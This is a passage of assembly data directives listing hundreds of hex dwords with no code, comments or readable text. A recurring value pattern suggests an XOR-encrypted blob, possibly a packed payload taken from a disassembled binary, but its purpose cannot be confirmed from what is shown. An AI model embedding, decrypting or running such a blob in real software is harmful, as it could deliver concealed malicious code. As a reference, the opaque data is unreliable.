0CD6A4E15h dd 32138F1Fh, 0DBEC6622h, 91AB94EAh, 3288F305h, 3BFC61A4h dd 4B156622h, 3A2DFFF4h, 34AA1867h, 12D4E3CFh, 0CE7561C2h dd 6FCCE777h, 0F29007EAh, 3265E34Bh, 3DED6622h, 3215709Ch dd 229E6988h, 0DB156644h, 32156629h, 4C8DAF82h, 1D1AFF9Ah dd 0F45D0C4Dh, 0D2123FA7h, 0C7ED2116h, 0A8B2B4E0h, 3D750690h dd 0B973B095h, 0CD7407C2h, 0D23C4B3Dh, 32128F43h, 28C36622h dd 95641C7Fh, 0DA90EB15h, 5212853Bh, 3216EE2Dh, 0DC956611h dd 0B21A3609h, 32156644h, 0E2EA077Dh, 321DEB1Eh, 0BC1A6688h dd 32156646h, 1D7D0742h, 0BB15664Fh, 21FC429Ch, 39156644h dd 0DEEDAC6Eh, 0BC3945D6h, 5643034Fh, 8B39A26Ah, 0E2EA6907h dd 53D2EC71h, 3DD5E371h, 321581C1h, 321D8F22h, 70AC6611h dd 6D9CAE00h, 0B79E7815h, 35F5794Fh, 3DD5E3E9h, 3215110Dh dd 0B7D39A44h, 35F5617Bh, 0DE95065Dh, 3099694Fh, 60156644h dd 3FFC0778h, 71156611h, 4E989AA0h, 2DDA05B5h, 7B7C3F0Dh dd 0E8098F79h, 3E916951h, 3D156644h, 321560A2h, 329D6911h dd 0CD156688h, 0D23C4BF1h, 32078F25h, 0B0226611h, 0C2286785h dd 59C1D340h, 2E72F4F5h, 0D1E66BA5h, 4DFDE305h, 3CFC61A7h dd 3B156622h, 0AEA6F9BDh, 46A974FBh, 0B98D4AB1h, 0CBC599C5h dd 32655C79h, 1601EF88h, 0F2940024h, 0C746EF59h, 0E2EA0749h dd 3214EB87h, 0DBE96644h, 32156625h, 42D00C75h, 0B76FF0C2h dd 17906984h, 52156622h, 0EDA26971h, 2BFC07E9h, 0DB156645h dd 32156636h, 680D7196h, 3DE5A8FFh, 8538BA58h, 4A4F8DC1h dd 99FCEFBBh, 0E7DDE301h, 0B27561A3h, 0B61A8FFBh, 32156612h dd 530F8108h, 321574ADh, 31C40E22h, 0AF9ED89Bh, 3BEE386Fh dd 2DD1892Ah, 601AD4A8h, 0F0948498h, 3215668Ch, 0B5118CC7h dd 0BB494236h, 3BFC4215h, 95156688h, 33CF6392h, 0B754ECEEh dd 3219E61Eh, 0BA1A6688h, 32156642h, 3215E12Dh, 0BB456611h dd 32116368h, 0DA966644h, 1611E126h, 1621EF4Dh, 32078FE8h dd 9F686644h, 1A9B9C2h, 1ADEB244h, 1DB6A4DCh, 0A160FA99h dd 5301A9A2h, 4925E39Ch, 0CDE9616Bh, 2B966994h, 52156622h dd 321576F8h, 93D26C88h, 0BBE109F1h, 0C8EFAEE1h, 41A2DB05h dd 5307D5D7h, 0B71AA64Fh, 32156613h, 321E8F71h, 0DF5E6688h dd 1CE91542h, 407FBCEh, 379C696Eh, 88156688h, 12FA6C82h dd 13FC9E43h, 0CA156611h, 32156E61h, 0A8B9E844h, 0CD326C89h dd 1651EF70h, 8C430694h, 20B6FAA9h, 60D5E77Bh, 53157CD6h dd 32138FE9h, 0D3FA6644h, 0C64B594h, 3D759AD2h, 32156500h dd 0C39E0044h, 5BCBDE44h, 0DB750670h, 32156680h, 0A71453B9h dd 1B884BB0h, 321D8F70h, 0A17C6688h, 0C90A5DFEh, 0BF9ED83Ah dd 35F2B3D9h, 321DE387h, 0B91A6644h, 32156620h, 0BB420771h dd 36D2E76Fh, 0B3156644h, 321562CDh, 1629E111h, 1611EFD4h dd 3D7506B1h, 321566ABh, 32198F11h, 0C2BC6688h, 493C5514h dd 7EEED52Eh, 5474D54Bh, 5362D431h, 32680D2Ch, 1609EF22h dd 0EA9CAD98h, 3FFC06D3h, 0BB156644h, 0B7B775DDh, 0CB34230Eh dd 167FDB51h, 82BA80C5h, 0CE7446FFh, 0BB118A92h, 0EAF429Ch dd 33156644h, 681765E0h, 32048FE4h, 76056688h, 8F7715A8h dd 2A0DE3C7h, 4F09D824h, 0CDCE0ADEh, 3215EEF4h, 1621E722h dd 71F41D60h, 43AC37D2h, 356873Fh, 52E03FE8h, 3459DD77h dd 0BB74893Bh, 0D21D93D1h, 0C7950625h, 32068F28h, 82156688h dd 73BE4102h, 0AE27E1F6h, 6D5EDED1h, 163EDC2Bh, 8C430711h dd 578147ADh, 0F31780D0h, 0C4946E66h, 79B42943h, 0E3E2A8A5h dd 0DCD4A896h, 0C7D3E78Dh, 33EF3FFDh, 847538D2h, 321D8EC6h dd 0A0596688h, 883D675Ah, 34FCAD60h, 5C156611h, 0E0EDA0Fh dd 0CD7438B8h, 269E6A52h, 36D1E735h, 0CA156688h, 66CF3CDh dd 0B9ED61C2h, 0BB474215h, 36D7E76Ah, 0B3156644h, 321562E0h dd 1601E111h, 3A9D69D4h, 3D156644h, 321564A1h, 52740611h dd 5475A33Eh, 63C380C5h, 3215EE2Dh, 53746611h, 16311277h dd 0B13162CFh, 3FFC62E6h, 64156611h, 0BD785379h, 0E99487A4h dd 0E20719FBh, 3219EE1Eh, 0B81A6688h, 32156642h, 3215E42Dh dd 88476611h, 16B775B3h, 1B4FB66Dh, 212E63EAh, 9EC42B3h dd 0D2211F0Dh, 4976943h, 0C7156622h, 3AE0E32Ah, 0B11A6168h dd 3215666Dh, 53CDED42h, 18AA0670h, 0B2320EB0h, 0F0744C95h dd 0BE1A6626h, 32156600h, 32156A61h, 0B7C8F44h, 1D1EA92Dh dd 2B962904h, 0BE1A0784h, 32156648h, 3213EA2Dh, 0B41A6611h dd 32156688h, 32316283h, 0CD1B0729h, 36944215h, 2120A5ACh dd 1639E723h, 476126E6h, 321560F8h, 0CD377488h, 0F5C99CB6h dd 0B0114266h, 60688877h dd 0DC73E432h, 16415739h, 0B21A3C2Ah, 3215660Fh, 320DE587h dd 21FC6644h, 0D5156622h, 4BF9EC88h, 0EF2E5645h, 0BE433BF4h dd 5ADB99ECh, 604045A9h, 32156332h, 68C0EF44h, 0CB488EABh dd 7CFDEB9Ch, 8A756168h, 0DBE40D9h, 53E8A7A2h, 3CFC87EEh dd 58156688h, 0DDB5D3FCh, 0D55ADF04h, 28E9B931h, 0B11A0624h dd 3215665Dh, 321572CBh, 8E3D6511h, 0DD7A10A2h, 91F527FBh dd 48226327h, 0CEE98F61h, 32AF3489h, 33156644h, 32AE35D0h dd 33156611h, 6916EC5Bh, 0DBE9061Eh, 3215662Eh, 0E2F53E2Dh dd 9AE7D37Ah, 0F07E4703h, 3DFC5A43h, 32140595h, 0B3730688h dd 54093E9Bh, 6A2DB1A3h, 3DFD5A70h, 3214190Ch, 0C99E0644h dd 3D1A5A43h, 32155495h, 0FF299E88h, 33D5E24Bh, 3BFC6622h dd 0B3156611h, 94378568h, 0DB388060h, 0B61A8D1Eh, 321567E1h dd 0F1E90774h, 379C6924h, 54156622h, 82EF8F90h, 62747938h dd 6E79DC16h, 5FAD7E33h, 30D774Dh, 0C2143C58h, 0CE4D7ECEh dd 54178AA1h, 84317298h, 54E64678h, 54759F1Eh, 0DD698FA3h dd 53C5D11Eh, 3D959D08h, 0CDEADEC1h, 73AE06DDh, 3D7CDD1Ch dd 3215640Dh, 5368D244h, 1621E774h, 3EE515C8h, 0AAAD36D3h dd 0C578544Dh, 0F3CD91FAh, 75D62F1h, 4B2C7A77h, 1B04C169h dd 6AD657BFh, 219E6971h, 0DA156688h, 32156649h, 5F0CA498h dd 87F39AFAh, 885B4806h, 6074396Ch, 3BBC0E72h, 174D3912h dd 151A442Ch, 4C0BA769h, 50F66B08h, 0CB20333Fh, 0BBC8C86Bh dd 0E1143E86h, 32138F78h, 0BA616611h, 197DE1D2h, 38C9E624h dd 63749FA9h, 321564A8h, 31E46788h, 1619ED5Dh, 3211A2A3h dd 0B91A6611h, 32156692h, 23FD9E24h, 0CE156622h, 0E4111D70h dd 0ECF5407Ch, 0C0B9F88h, 0F4EBE0C2h, 0A9FC0748h, 52156688h dd 68F3E722h, 98AD0063h, 0BA1A0772h, 32156698h, 32156DADh dd 0B9BFC422h, 4D4AD158h, 0E28CABD0h, 0B91410BBh, 0F696423Eh dd 0B9EC0615h, 0C996075Bh, 0F29169BFh, 52156622h, 32156AF9h dd 0D478E488h, 0C0300C00h, 5D108B9Ah, 8D08D995h, 534D4166h dd 0BBE5EF14h, 1611EDE1h, 3211A290h, 5AEC6688h, 32155765h dd 8A3162ABh, 32156610h, 2A169689h, 8C439F1Ch, 32156627h dd 4CCAA590h, 0C1143DE0h, 4CCA8DC5h, 524B3D4Ah, 321EE51Eh dd 34FC6688h, 3B156644h, 7B8FBC36h, 6CFC0711h, 3DEA9976h dd 321567CFh, 841A9A22h, 0B1E0674Fh, 0B61A4863h, 0CDEA980Dh dd 321560CBh, 55B05911h, 525E7621h, 32156BACh, 0A0781022h dd 17CD68C4h, 88FAE2B0h, 0B373709Bh, 69EDADEBh, 2AFC07E4h dd 0DB156688h, 3215664Ch, 0DF0626BDh, 0EA11532Fh, 0CC141808h dd 0CC12E34Bh, 0DBED99DDh, 0CDEA9AC0h, 32156A61h, 3269E44h dd 240D8594h, 9A2AF8FBh, 3C380E22h, 69C6644h, 33976906h dd 0CB156611h, 337C0E70h, 3E9C6644h, 0CC9F0606h, 6B990E70h dd 2E9C6688h, 321E8F60h, 2876622h, 0CDBB8687h, 0C06C9D66h dd 23C0EE0h, 0E9C6622h, 321B8F35h, 0D8016688h, 0FCB9E420h dd 0DD426A7Dh, 0F391FCE6h, 23FCA6B9h, 0B1156644h, 0CC00BA86h dd 927E894Ah, 4EABF30Dh, 0AD1AEF5Ch, 321A8F8Eh, 84DF6611h dd 4A1845FEh, 4F301173h, 0CD995B87h, 36F9E72Dh, 0BB156688h dd 0F49D4250h, 524F95AAh, 320DE11Eh, 21FC6688h, 6D156644h dd 19866EEEh, 0D84FCBAEh, 29325042h, 0D22765BDh, 0D19F8F48h dd 61440070h, 0CB9D963Fh, 54DE461Fh, 0C9959A7Bh, 15916961h dd 0DB15668Eh, 32156654h, 6EF29DBEh, 10F4C54Dh, 76F961E4h dd 0C9F36CCCh, 3D1A5AD7h, 32144195h, 38996988h, 52156644h dd 3215EC2Dh, 6C456611h, 3DFC5AE9h, 321EF2C0h, 269A6922h dd 52156611h, 32156D61h, 0E1AC3444h, 0CB153B40h, 2465473Bh dd 0E749C03h, 0F89169AFh, 0DB15662Dh, 32156603h, 18B7F06Ah dd 5455CAF8h, 54A02861h, 2BBCA87Fh, 0D1293F32h, 31F3E24Bh dd 0B91A6622h, 32156616h, 3214E687h, 0EE96644h, 0FC9169C0h dd 0DB156601h, 32156680h, 70733733h, 3D070A1Dh, 6D3152EEh dd 3211A209h, 38FC6644h, 14156622h, 4948B956h, 3D826B98h dd 16219999h, 36D1E779h, 0DB156611h, 32156684h, 0FF9B74C1h dd 2693805Dh, 22B69BA8h, 61316A03h, 0F19485CDh, 32156626h dd 0B511A592h, 52494294h, 646AB7C5h, 0BF1A6D3Eh, 32156613h dd 0B9749103h, 0BB424270h, 36D2E7C5h, 0B3156611h, 3215624Fh dd 1629E144h, 3FFC067Eh, 0C156611h, 29B41312h, 78B689A7h dd 3EDCD905h, 6A5073AEh, 0DBD607ABh, 3215664Ah, 0EA428995h dd 0CF111E75h, 6D7627C8h, 3FFC620Fh, 93156622h, 6F98E921h dd 6A946AD9h, 703C1E6Bh, 0E48DE3E5h, 321361F6h, 0BD1A6688h dd 32156655h, 32156ACBh, 2E72F411h, 0D1E66B3Ch, 9B5AFDC3h dd 3595696Ah, 3D156611h, 32156702h, 5A449F44h, 32156622h dd 0B8E46748h, 54753F91h, 0B28107FCh, 52748BF2h, 4FB2A990h dd 8B735114h, 6074576Ch, 0B21AD171h, 0CC9D99E6h, 68E646D3h dd 321572ADh, 520ADC22h, 9F2F959Fh, 6069FEAFh, 66E6B6C3h dd 0FF7ECCDh, 0B2EEE642h, 0CCC3E387h, 0B61A99BBh, 3215662Eh dd 3213E11Eh, 0B21A6688h, 32156644h, 0CDEADF73h, 0FC1499EEh dd 32078FD1h, 0E21B6644h, 727577D2h, 0FD711B9Bh, 0AEABD31Eh dd 3F46E8h, 1CE3A9h, 0B11A61F1h, 32156689h, 0BB80EDB8h dd 52128631h, 53C6ED77h, 1639E7DEh, 23181B1Fh, 69AB3079h dd 33046B6Ch, 3CFC387Bh, 0E3156644h, 0EB7CAF20h, 444E119Ch dd 1E665076h, 38AC06BAh, 541C759Bh, 0C419B890h, 347D33E9h dd 6F156644h, 0DB488D23h, 32156603h, 0D881B1E5h, 0CEEB1AA0h dd 7056DC29h, 0E78DA02Bh, 8B44CE74h, 32156646h, 3888A7A3h dd 0C3141644h, 38888F09h, 2B161611h, 3EFC067Bh, 0CE156611h dd 157D15BAh, 0DC4A8669h, 5344B039h, 320DE91Eh, 21FC6688h dd 0FD156644h, 48DB47C2h, 0AFB0FBC0h, 0FC2ECD99h, 49585BA8h dd 0EA2E5382h, 321FE41Eh, 9E96688h, 0D393699Eh, 0CEEA99DFh dd 1A0D847h, 0C13C368Fh, 0B3EE4F1Ah, 3526D3E1h, 0EC9E0641h dd 53CDEDEEh, 0BB118AC7h, 34A8420Eh, 1B156611h, 22FC3B63h dd 3E156644h, 0A7758A61h, 4760D07Ah, 9226DFFAh, 5420A2B9h dd 9973938Fh, 32156AF8h, 56119788h, 0BE568AB0h, 7C9D8E27h dd 3CD57FDh, 0DBCD574Bh, 3215664Dh, 890D084Ah, 2A9D147Bh dd 62E0CD4Dh, 1129DC16h, 72AD7CEEh, 1B0FAA32h, 0F4143C58h dd 3D90691Ch, 0DB156622h, 3215661Bh, 6BECC76Bh, 131A4D07h dd 38FCF281h, 3D156611h, 809C4343h, 95398CC8h, 1629EF0Ch dd 91CCE771h, 5379B3B5h, 321575ADh, 70D20322h, 0C3C8A487h dd 697B9BFAh, 22377BFBh, 7ACB22E8h, 3E311298h, 53DEEDE8h dd 13F6E724h, 3D5F1885h, 32156692h, 879C0788h, 35F54599h dd 321577CBh, 0BDA76C11h, 1C5EBF77h, 0D44BBE45h, 0BEE33DD5h dd 0E9E327Fh, 0D09C34ACh, 3211A4C5h, 0F0946622h, 32156615h dd 6E31720Fh, 339E69BDh, 0CB156622h, 693152EEh, 0DB11A20Bh dd 32156648h, 0BE7C6413h, 6189F55Ah, 0DB6723AEh, 60316ACFh dd 0F09484ABh, 32156615h, 3211A409h, 26926644h, 52EC3A06h dd 32156BF8h, 4012388h, 14FFE87Dh, 23EBCD2Ch, 0F79FBB97h dd 1621EDE9h, 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh dd 321AE14Bh, 38FC6622h, 4E156611h, 41D17541h, 9177DFEh dd 61BE0E25h, 69C6611h dd 0B3F3EFACh, 32156282h, 36D3E522h, 6E315296h, 0ED7B8F71h dd 37FC99BBh, 0CD156622h, 2837A9A1h, 0E48DE34Fh, 321761A3h dd 0BD1A6622h, 32156606h, 32157461h, 0B5875144h, 0CD8F0EB2h dd 0E321F72Bh, 0B3F2C0BFh, 5AB8E025h, 32155216h, 69315298h dd 0E1A269E8h, 3D74A0CFh, 54756894h, 535EBCA9h, 3D959F08h dd 3215E5C7h, 39916922h, 52156611h, 3215EC87h, 851A6644h dd 0B3E907F0h, 491E27FAh, 65DE67B4h, 0CA4396FBh, 0F5942909h dd 78E227Ah, 5FD1A909h, 0D5944149h, 65A701E0h, 5CFCA190h dd 0DD941791h, 4E25AD2Eh, 0CA4A9D23h, 3214DC43h, 0E1146688h dd 269A691Eh, 3D156622h, 3215689Bh, 321C8F88h, 91096644h dd 0E5350903h, 0DB1A7C60h, 3215663Dh, 321575ADh, 87622122h dd 60CF3A74h, 513980CDh, 1EB8571Ch, 7F71AD52h, 32178A90h dd 0BB736688h, 0CDA54240h, 6A73A70Ah, 851A3571h, 9CA03878h dd 0C5449F25h, 3E9E423Eh, 36D1E735h, 3D156688h, 321567C6h dd 8D429A22h, 4D1F2260h, 8E9BA109h, 0CB34E6B1h, 0B1315AA9h dd 20FC62D5h, 0E5156688h, 28BD2970h, 5F1389A2h, 0B01A50F3h dd 0EF7DFFFDh, 0FFAA31ABh, 0B36CB347h, 6B19BEF6h, 0DD9421EFh dd 2DDF67DBh, 1B4A9D0Bh, 18D6E7DAh, 0DB54E18Bh, 32156656h dd 0EB8F2C3Eh, 2DE5A09h, 2A85B101h, 66632779h, 0B3753FA2h dd 32CC14CAh, 0C5AC319Bh, 6D5D25E0h, 3B90ED43h, 52128623h dd 83C4EDEEh, 0A79E0760h, 35F575ABh, 0EB9E0071h, 3217ED87h dd 12A26644h, 9FA8E543h, 33128610h, 3652E287h, 35FC6644h dd 0D5156622h, 1107FEACh, 0F12C59C1h, 3626E44Bh, 0DBED6622h dd 3215661Ah, 9AA60D08h, 8A50E29Ah, 0BC92C34h, 4B9769C2h dd 0CAEA9972h, 321172ADh, 0B7D29322h, 35F2B089h, 3215668Ah dd 32128F24h, 64786622h, 315AF30Dh, 0C19E00A0h, 6A433625h dd 3D4DA5ABh, 32157793h, 32198F88h, 544E6644h, 8DEBF786h dd 457D8597h, 841A4644h, 339D694Ah, 0CB156622h, 37946971h dd 54156688h, 2D8E96C5h, 0CB9507DEh, 4D966991h, 0DB156688h dd 3215664Bh, 9EC7DBF3h, 0E7BFCAEFh, 88270B9Eh, 65A887C0h dd 7172739Dh, 52FAE72Eh, 0C53021DEh, 65E2E793h, 0B30F8352h dd 0CB6DFFF6h, 34F2A78Fh, 186E91C5h, 0C93C44CDh, 0B3DE674Eh dd 0DB395D4Bh, 3E95695Eh, 3D156622h, 32156098h, 32926988h dd 60156644h, 32156798h, 68C66711h, 32078FE8h, 0A9766644h dd 119F8059h, 7ACFA50h, 0D7B7D5ADh, 8FB1A30h, 5314A4A2h dd 3215F0F8h, 5A739E88h, 0BB732FDEh, 0CDA14226h, 6A738739h dd 309869E8h, 0B9156644h, 3DFC35F1h, 2B156611h, 8229C9ADh dd 82D90186h, 126EAB90h, 534E84F2h, 0F824B7B9h, 0E8E2B775h dd 60E0B7A5h, 0B04669ABh, 61DFE784h, 0B3055F48h, 0DB6A09E0h dd 2AB3016h, 0C57FA39Ah, 5D3E792h, 33A5EE67h, 0E0E238E3h dd 0B3178C49h, 0A8101386h, 68C447F8h, 0C39E0071h, 0CE747A3Ch dd 6A0E8DC5h, 0D9941CF7h, 5DAE5AD4h, 0F194ADA1h, 5DAE5A81h dd 6A0EA5A3h, 8B751CC4h, 60F0A21h, 0B97491CFh, 0D2276FA7h dd 32188F16h, 0BBAB6688h, 0E5CAA7E1h, 669C1934h, 0B99E11ACh dd 0D206EF1Dh, 8F969F43h, 35F5678Fh, 48916910h, 0DB15668Ah dd 3215664Fh, 0D7599AFBh, 4197B36Fh, 9A86230h, 3C97699Ch dd 0CE156622h, 0B41AB528h, 0CDEA9E30h, 0AAFCE624h, 36963043h dd 3D4B9935h, 32156804h, 0B11A0644h, 32156622h, 3215EB1Eh dd 82746688h, 61286ADEh, 0EDE39C95h, 0EDE3A1EFh, 12258908h dd 0E2E33DBCh, 0EAE3AEDCh, 98E0E215h, 3219E287h, 0BD1A6644h dd 32156624h, 3215E51Eh, 88476688h, 32156644h, 89469423h dd 32156611h, 399FB589h, 52753C1Fh, 0A718B8A3h, 0DFA51157h dd 321C8FE9h, 0CDEE6644h, 40F106B7h, 5365E1A3h, 3216E387h dd 0C7756644h, 36F9E543h, 87316A98h, 6BFDEE08h, 379F6924h dd 88156622h, 341A7BA0h, 6074BE02h, 627376F2h, 0E2E396AAh dd 6A73A099h, 0F2578808h, 0C49563A2h, 68E4468Dh, 3214E91Eh dd 3AEC6688h, 2599698Ch, 3D156622h, 32157799h, 32198F88h dd 35AF6644h, 55543A78h, 2B606494h, 0DBBFFE36h, 32156650h dd 0E9ABBCA2h, 50C97D8Dh, 9CAF1AC8h, 0D28C1BB5h, 0C78FD829h dd 0F92D847h, 0C494007Ch, 763F7BAEh, 1B4B9523h, 5FFEE7EAh dd 5237B8A8h, 6CB5D313h, 0EE71B7A3h, 0B1741C2Fh, 3E9C6264h dd 3211DF60h, 0F93C6622h, 32188F48h, 0BBD86688h, 0C6DFC6EEh dd 6064F958h, 3CE2A3Bh, 3D65750h, 52BE9F9Ch, 205FA498h dd 67420763h, 32156435h, 6FFAEF44h, 0CE4A9823h, 11C8D398h dd 54756168h, 3D8B85FDh, 0F574969Dh, 0D214CB94h, 3215678Fh dd 32198F44h, 0B6F96622h, 9AA2FB2h, 0A3727B2Ah, 0BB440F1Bh dd 36D4E7C3h, 0B1156611h, 3E926249h, 1631ED60h, 0ECAD0642h dd 0DB3FB776h, 32156686h, 4896FC50h, 0B2580616h, 44ED0249h dd 5274DFA5h, 3215EC4Bh, 851A6622h, 0CD7407CAh, 0B34E42BCh dd 32156280h, 8D1A0622h, 0CB749FDAh, 65316A03h, 0F59481CDh dd 32156626h, 3211A190h, 0E926688h, 0BF1A3A60h, 32156623h dd 0D09C34E4h, 3211A409h, 0F0966644h, 46EA3426h, 0BD4F6235h dd 5249428Ch, 0DBBCB7C4h, 32156627h, 0A2B90AD0h, 8B7507CFh dd 0D1A1025h, 53098CA2h, 0B3F3EF47h, 3215624Eh, 36D3E544h dd 16619974h, 369A3815h, 0B61A3AACh, 3215664Ch, 3217EF2Dh dd 53756611h, 0CDCCF961h, 32068FBBh, 0E5C96622h, 68CA28DCh dd 0FC66FE4Ch, 37400C90h, 2524C4E5h, 33AD3603h, 1B156688h dd 82E03E82h, 36F5A650h, 0EAE38EC1h, 0F22AD0DAh, 0D49565A2h dd 3AFBA6CBh, 0C495B0E7h, 68E56EF4h, 36178E84h, 0DBBF938Fh dd 3215661Eh, 79E63318h, 3CB7F48Ch, 332402CDh, 64D5AE68h dd 0B3316203h, 32156280h, 0DA750622h, 32156605h, 198C503Ch dd 84338479h, 31338F58h, 8B2F31A0h, 0EA654523h, 321C8F1Eh dd 65016622h, 3DC5B5B6h, 5310CC74h, 0C8AA6914h, 0F310077Bh dd 1B3B7822h, 0F3AA3170h, 1B3B7877h, 35FC39DAh, 36156611h dd 0CCDF44D7h, 8B44D566h, 32156626h, 3E9EAE38h, 36D1E7ACh dd 3D156644h, 32156FA8h, 0B3E90611h, 0AC5E1D48h, 0C7BE0759h dd 0B3F6EF71h, 321562D2h, 36D6E588h, 0B9317AC3h, 21FC4206h dd 0EF156611h, 755EA60Dh, 2438F3AEh, 4E20C0D7h, 75B8BCC8h dd 2E9EDCE4h, 0D19C3560h, 3211A5A3h, 0F1966611h, 1609E18Ch dd 32048F18h, 0F2776622h, 6381525Fh, 3BF16EDh, 817107ABh dd 0B9766411h, 0BB40421Dh, 36D0E76Dh, 0B3156644h, 321562E7h dd 1639E111h, 339A69D4h, 0CE156644h, 3214E92Dh, 0CDE96611h dd 0B14B42BCh, 0DB756280h, 32156632h, 41B36D99h, 2F1B6694h dd 2302E0BFh, 0D5FEDDFh, 0F2AA6971h, 537439D8h, 0B34E3217h dd 321562E1h, 36D6E511h, 6E317A0Fh, 32156BADh, 0BDB12222h dd 6F4C6DA0h, 0FDE04F4Dh, 0BB1A91D5h, 32156629h, 321560F8h dd 27078488h, 0DB995F10h, 0CDEABCDEh, 0AA90A1EDh, 3712815Eh dd 3D156644h, 321567A2h, 64459F11h, 0F8316209h, 6A02C168h dd 9539AC0Fh, 6AD6EF06h, 32157761h, 0E2EA3644h, 53C4B0B9h dd 0EFB535A7h, 0F345A89Fh, 6545A698h, 3215629Dh, 6DEDEF11h dd 524DA589h, 3DA98BC4h, 3D749895h, 3215749Ah, 3E966988h dd 0DB156644h, 32156625h, 0E28E3C75h, 626C23AFh, 4739DC16h dd 0D0945CB3h, 58D05417h dd 1316A409h, 0D0C460EBh, 0B31684E3h, 0E00716D3h, 0D2E7E7EEh dd 0BB6CB166h, 0C2143CF2h, 524D7E12h, 3217E187h, 0C69F6644h dd 3B90ED43h, 3D128623h, 3215670Ah, 0A79E9344h, 35F575ABh dd 34916971h, 3D156688h, 321566C3h, 8B440722h, 32156610h dd 524CA8A1h, 4903AFC5h, 37FC5716h, 21156611h, 89B64895h dd 83A8E525h, 33128607h, 3463E21Eh, 0BB1A6688h, 3215664Eh dd 321563CBh, 567BFA11h, 0EA2EEC0Eh, 3255E44Bh, 89756622h dd 61C63455h, 32018FE8h, 0C20C6644h, 0CC270F42h, 9EA0AACBh dd 1DF23223h, 0AE404DF5h, 8873FAAFh, 53743C01h, 0B41ABCB3h dd 32156738h, 3219E32Dh, 0B21A6611h, 3215668Eh, 3215E44Bh dd 879C6622h, 35F545CCh, 32156061h, 7AABAF44h, 0B937897Eh dd 0D5C3FE8Ch, 2497698Fh, 0DB156644h, 32156633h, 0A26D8621h dd 0D93F8D5Bh, 0D35DAF27h, 8DC73FBh, 1651E72Ah, 0B77A5D84h dd 1651E767h, 7674772Eh, 16496700h, 1679E784h, 76747748h dd 1679E733h, 0B77A5D1Dh, 3AFD06ABh, 0BD156644h, 0B82E4134h dd 3D295377h, 32156609h, 0F2AA3E44h, 5370B670h, 3210C1F8h dd 0B81A0688h, 32156649h, 321561CAh, 2B2B8F11h, 2F911079h dd 0E9E071Fh, 0D39C3706h, 3211A790h, 0F3966688h, 1619E140h dd 0B973067Eh, 0D4F5E7C8h, 53100428h, 17A4E383h, 321461C2h dd 0B9E06611h, 0BB404294h, 36D0E7A1h, 0B1156622h, 1E9262D4h dd 39FC3AACh, 0E0156644h, 379536A5h, 37712555h, 3E9E6CF8h dd 0D59C3160h, 3211A1A3h, 0F5946611h, 3215668Ch, 6E315AC3h dd 162199D7h, 36D1E54Fh, 53DAECE8h, 374D3214h, 32156626h dd 0B511A692h, 3D49428Ch, 32156CCBh, 0B91A0622h, 32156611h dd 527407E8h, 3206ED4Bh, 3CFC6622h, 0A2156611h, 0FAB250C2h dd 0D09466Ah, 5F2264h, 32018F90h, 5A3D6688h, 0DC9DEEC6h dd 46D3080Ch, 55E2F496h, 0BA266723h, 0DB742597h, 0CDEAB34Ah dd 22FC9371h, 7156688h, 0C48DB78Bh, 7E508671h, 3139606Dh dd 5384E7FFh, 33B8DBC7h, 3D1461C2h, 3211C195h, 321E8F88h dd 34966644h, 9B4C899Bh, 448C2D73h, 3D9B6914h, 0DB156644h dd 32156628h, 0B04CE044h, 87D68247h, 0AF3E1AFDh, 35F5542Bh dd 321A8FE8h, 88FF6688h, 0DC89C648h, 8727B038h, 0C80EB423h dd 5398EDC3h, 3D128650h, 321576ADh, 321E8F11h, 692E6688h dd 77EB114Eh, 3F93A7F8h, 0F1FCE72Ch, 0B354ED88h, 2052C1ADh dd 0B3CC674Bh, 2052C1D0h, 0F1D4E7E1h, 0CB54ED44h, 4DC9A7A3h dd 0CB3C2847h, 4DC9D9DFh, 0CB3C2812h, 5443067Dh, 6815D5A8h dd 21E50EE9h, 2E9C6644h, 3210DD06h, 0EB3C6611h, 0D0A206D3h dd 854607B8h, 2B3D66Dh, 1609EDE9h, 0CE11A20Bh, 0FA249EEEh dd 0FA24A713h, 3206EC1Eh, 0BE1A6688h, 32156649h, 32156ECBh dd 89E2A011h, 6B3D463h, 2A9769C8h, 3D156622h, 3215749Eh dd 32188F88h, 3BD86644h, 36C8417Ah, 6D9EF6D1h, 9959B56Bh dd 3214EC4Bh, 60E96622h, 8D428498h, 75452EB1h, 689C5h dd 0EDE26464h, 47F89190h, 0C55A4A41h, 0F4FAE79Bh, 337CA541h dd 0F09639EBh, 1601E18Ch, 321B8F18h, 36906622h, 570FC139h dd 0B0656B83h, 0D484BA04h, 693152DDh, 3211A290h, 35FC6688h dd 3D156644h, 0F880EF6Ch, 6EA6B46h, 0F6963FACh, 35976940h dd 52156622h, 61E4ED77h, 69E07D2h, 0D19C3560h, 3211A5A3h dd 0F1946611h, 3215668Ch, 6E317AC3h, 0FAAA6942h, 0BB4707E9h dd 36D7E76Ah, 62156644h, 3215629Ah, 6AD76711h, 6E31720Fh dd 0C6DAE724h, 5468E502h, 0DB74B99Ah, 0CDEAB02Ch, 0AA90A1B8h dd 301281F4h, 0CE156611h, 324F97E0h, 1621EF44h, 0B63152A3h dd 69096776h, 55919509h, 54757A45h, 0B01AB1A9h, 32156612h dd 53C0B908h, 521BD04Bh, 0B2743B95h, 0B11AE6E8h, 321566D6h dd 5411D524h, 7DCEB0A3h, 0FEFEE770h, 334C01B4h, 0FEAF348Fh dd 334C011Eh, 0CAE03CC2h, 3214D8DEh, 0C1146644h, 3E9C697Ch dd 0DB156611h, 3215668Fh, 8659FBCAh, 0DB9E56DFh, 321566B9h dd 3209E987h, 0B71A6644h, 32156634h, 321577F8h, 60E27188h dd 0E47DD24h, 0C3D84667h, 922BB8D3h, 8447A196h, 0B9E44EBBh dd 0F6964236h, 8C439E15h, 32156688h, 0A7A88C5h, 0FC3C77F1h dd 0A7AA090h, 0C39C775Bh, 8A459A1Ah, 218F4A33h, 74C4DB44h dd 0DA247A20h, 1EF64319h, 0B0100769h, 1F75D97Eh, 53D4F1CBh dd 3D4DA765h, 321563AAh, 76A30611h, 0D9940771h, 309C17CDh dd 6BA5A3h, 0F93C04C1h, 6B8D09h, 0F1940494h, 309C17ABh dd 8C733771h, 0B24FBF3Ch, 0DB741597h, 3215662Eh, 9D579068h dd 5871349Bh, 0A45F1681h, 1CE3A9h, 0B9E061F1h, 0D206EF1Dh dd 1DFC9343h, 0CAEA99D9h, 0AA90A1E8h, 3012815Eh, 52156644h dd 0E03CE29Bh, 2893696Dh, 0DA156688h, 32156650h, 6E0C5562h dd 0F370BE5Fh, 0A6FA1817h, 0FC9356E6h, 0F18686B3h, 3BFC074Eh dd 0F0156688h, 0E9D0F157h, 0E146D1BFh, 1609ED47h, 3211A209h dd 0B51A6644h, 32156625h, 3214E81Eh, 3DEC6688h, 